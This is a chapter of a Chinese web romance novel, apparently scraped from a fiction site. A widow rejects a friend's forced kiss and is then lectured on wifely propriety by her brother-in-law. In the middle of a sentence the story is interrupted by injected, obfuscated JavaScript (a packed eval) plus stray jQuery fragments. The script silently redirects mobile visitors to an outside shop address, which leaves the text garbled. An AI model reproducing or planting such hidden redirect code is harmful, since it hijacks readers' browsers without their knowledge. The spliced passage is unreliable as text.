文趣网 > 其他小说 > 寡妇门前桃花多 > 18. 第 18 章
    “陆文渊,你疯了!”

    男子清俊的脸上流露出些许深沉的痴迷,沈令仪对上他的眼睛,忍不住心头一颤,藕色绣花鞋抵在他的胸口,下意识使了七分的力气,猛地踹开。

    陆文渊半边身子朝一侧倒去,胸口钝痛,他低低嗽着,白皙手掌撑在地上,青色的血管鼓胀蓬勃。

    “蓁娘,抱歉。”

    陆文渊缓缓站起,面露羞愧,语气恢复了往日的平和,“是我冒犯你了,你想怎么罚我,我都认。”

    沈令仪很少生这般大的气,她疾言厉色道,声音中带着不易察觉的颤抖,“我信任你,将你视为亲人,可你明知我已为人妇的事实,却还要轻薄我,陆大哥,我讨厌你!”

    她的话让陆文渊的呼吸微微一滞,胸口的温度滚烫起来,喉咙中像是被鱼刺卡着,又痛又闷。

    他不由得一把攥住她的手腕,指节泛白,“讨厌我?”

    “当年是谁言笑晏晏地说要做我的妻子?又是谁,离开之前死死得抱着我,不肯走?若说情分,你与裴璋相处不过短短的三年,有我们的十几年那么深吗?”

    沈令仪咬着唇,冒出腥甜的血珠,仿若美人蕉花叶上的水珠。

    十几年前,陆文渊替她赶走欺负人的顽童时,也是这样攥着她的手腕,让她别怕。

    “那怎么能一样。伯玉他待我很好,我与他情投意合。”

    “我知道。”

    陆文渊低低道,他肩膀与胸前衣服上还沾着两个明晃晃的鞋印,“所以我忍了三年,忍到送他入土,忍到你恢复自由自身。蓁娘,你不能这么残忍,连我剩下的这点念想都不许。”

    门外忽然传来张叔的脚步声,他骤然推门而入,“少东家,沈姑娘要的杏仁羹做好了,我还特意叮嘱小厨房多放了些牛乳……”

    沈令仪一惊,连忙抽出手,侧过脸,掩饰自己尴尬的神情。

    “辛苦张叔。”

    陆文渊接过那碗甜点,放到沈令仪的面前。

    二人一个垂着头不说话,一个站着,身上的平白多了两个鞋印。

    陆文渊面上还是笑着,可熟悉自家少东家脾气的掌柜一眼便看出,他此刻的心情并不好。

    才离开一刻钟的时间,原本有说有笑的二人之间气氛变得如此焦灼,这是怎么了?

    张叔额头冒出冷汗,他做梦也想不到,一向靠谱的少东家能做出强吻他人妻子的事情,简直有违人伦。

    陆文渊道:“张叔,你去看看楼下有无客人需要添茶或者吃食的。”

    张掌柜如获大赦,“嗯嗯,好的少东家。”

    说完脚步加快离开屋里。

    沈令仪坐立难安,她舔了舔自己咬出血的唇瓣:“我回去了……”

    “蓁娘,对不住。”陆文渊垂眸,乌黑的碎发落在鬓边两侧,衬着脖颈越发修长,面色苍白,不笑时眼尾微微下垂,极惹人怜惜。

    同心佩被陆文渊拿起,裹进签好的文书中,“这东西你若不喜欢,摔了扔了都随意,只是不要再说还给我这样的话。别生我的气了,喝完这碗杏仁羹再走。”

    “陆大哥,你,你真是……”

    沈令仪无语凝噎,面对这样的陆文渊,她骂也骂了,气也气了,实在说不出更多的重话。

    “你刚刚吓到我了。”沈令仪手指搅紧衣袖,“我不喜欢这样,而且你也对不起伯玉。”

    听沈令仪提起裴璋的名字,陆文渊袖中的手掌攥紧,眼中闪过一丝极淡的不悦,却被很快压下。

    “蓁娘,我知道了。”他拿起青花白瓷汤匙,舀起一勺香甜的羹,送至沈令仪唇边。

    沈令仪瞧着他身上的脚印,心底不免有些愧疚,她知道自己那一脚力气有多大。

    “你去换件衣服吧。”

    半碗牛乳杏仁羹下肚,沈令仪有些反胃,不愿吃了。

    她这些天以来食欲不振,吃多了还想吐,睡眠也不太好,脸又小了一圈。

    陆文渊将她送至楼下。

    他道:“这几日民间沸沸扬扬议论着,说圣上有意撮合太和公主与镇北将军的婚事,不日便将赐婚。”

    “若裴殊娶了公主,他必然要出门建府,居住于将军府中,那么你在裴府便更孤立无援,无人可靠了。事事多为自己考虑,只要你开口。想做什么我都会帮你的。”

    “我知道了。”沈令仪这几天因病不曾出门,骤然听到这个消息,有惊讶,却也在意料之中。

    裴殊年过二十,早到了可以娶妻生子的年纪,身边连一个通房都没有,洁身自好又骁勇建功,公主嫁给这样的男子,不失为一桩佳话。

    沈令仪垂眸想着什么,面前的光却突然一暗。

    她抬头,对上戴着面具的脸,只露那双冷淡如冰的桃花眼,男子开口,“好巧,嫂嫂今日也来茶楼听戏吗?”

    “裴……殊?”

    沈令仪有些晃神,下意识便要叫出夫君的名字,可听到那低沉磁性的男声,与裴璋温和的声音截然不同,便立刻反应过来,自己又认错了人。

    但这次完全不是因为她没看清。

    而是太像了。

    裴殊今日的穿着不似往日的单调与冷硬,而是穿了件裴璋最爱的月白色衣裳,戴着面具,他高挺的眉骨与鼻梁被藏起,杀伐果断的将军摇身一变,竟然有些温柔慵懒,带着几分读书人的清隽与神秘。

    沈令仪那一瞬的晃神没有躲过陆文渊的眼睛,对于沈令仪身边出现的男子,他总是格外敏锐的,何况陆文渊又心细如发。

    他眯了眯眼睛,笑道:“裴将军,又见面了,听闻当今圣上属意你做驸马,这样的好事,还没来得及和您道喜。”

    裴殊的目光扫过他已经换过的衣裳上,“兄长在时就多次和我提过,说您性情温和,是个正人君子。嫂嫂得你照顾,有劳了。”

    陆文渊颔首,他不欲得罪这位劳苦功高的将军,这会让沈令仪在裴府的处境愈发艰难。

    他看着沈令仪坐上马车,裴殊则骑着马跟在一旁,表情冷淡。

    这位将军,究竟对蓁娘是个什么看法呢?

    陆文渊暗暗思忖。

    ……

    沈令仪坐在马车中,手肘支在窗边,撩起车帘,有些好奇:“小叔,你今日为何要戴面具?不难受吗?摘下来吧。”

    纯金制成的面具,镶嵌着玛瑙

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17702891|208242||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    绿松石等珠宝,看着奢华尊贵,其实不过是太和磨磋羞辱他的手段而已。

    裴殊先前并未察觉不适,可沈令仪的话,却让他骤然发现,自己其实是不愿的。

    “还好。”

    他摘下面具,别在腰间。

    沈令仪为了和他说话,整张小脸都露了出来。

    厚薄适宜的唇此刻红肿着,像是被人在口中仔细疼爱过一番,女子圆润杏眸清澈,微笑起来眼下的那颗红痣微微上扬,吸引了不少男子的目光。

    偏偏沈令仪自己还没有察觉。

    裴殊微不可察地皱眉,夹紧马腹快走几步,挡住了那些视线。

    “陛下要给你和公主赐婚一事,可是真的?”

    沈令仪八卦之心冉冉升起。

    “我暂无娶妻之意。”裴殊不见任何欣喜之情。

    他的表情太过冷淡,沈令仪定了定,若没记错,太和公主是太子胞妹。

    怪不得。

    沈令仪的表情也淡了下来。

    她声音低低的,用只有二人能听见的声音,“小叔,你喜欢那位公主吗?太子虽……可他妹妹是无辜的,若你对她有意,也不必委屈自己。”

    裴殊道:“嫂嫂,就这么着急让我娶妻?”

    “我绝不会娶自己不心悦的女子。”裴殊牵着马缰的手指收紧,“这样说,嫂嫂可放心吗?”

    沈令仪见他神情有些淡漠,语气中透露出些许不悦,心道或许是自己管得太多。

    她点点头,有些想缩回去了。

    帘子被风裹起,同心佩下挂着的殷红流苏一闪而过。

    裴殊想起自己见到她与陆文渊相处的场景,心中的不满快要溢出。

    沈令仪怎么能与外男这般亲密?她难道看不出陆文渊的心思吗?

    二人相处一室,陆文渊又换了身衣裳,她则是面色红润,还有那唇……

    裴殊未经人事,不代表他什么都不懂。

    “嫂嫂可曾读过《女戒》《女经》?”

    沈令仪一愣,“读过。”

    婚前与婚后,嬷嬷按着她读完了这些书,她并不喜欢其中对于女子条条框框的束缚,糊弄着过去了。

    “妇人有三从之义,无专用之道。故未嫁从父,既嫁从夫,夫死从子。”

    “你和兄长虽无子嗣,但他尸骨未寒,也要注意和外人的相处,不要失了男女分寸,做出让人不齿的事情。”

    沈令仪面色苍白。

    若不是厢房中不好藏人,她几乎都要以为裴殊见着了陆文渊亲她时的场景。

    她是有错,陆文渊便无辜吗?她反抗了,拒绝了,可仿佛逾越的错,全在她身上。

    她曾以为裴殊是不一样的。

    可现在看来,他与大多数的男子也并无半点分别。

    一丘之貉。

    都是将三从四德挂在嘴边的迂腐酸臭之人。

    为何男子便能三妻四妾,而一旦女子有出格之举,轻则失去性命,重则被钉在耻辱柱上,千年来被无数人戳着脊梁骨骂?

    帘子被放下。

    女子的声音发闷。

    “我知晓了。裴将军。”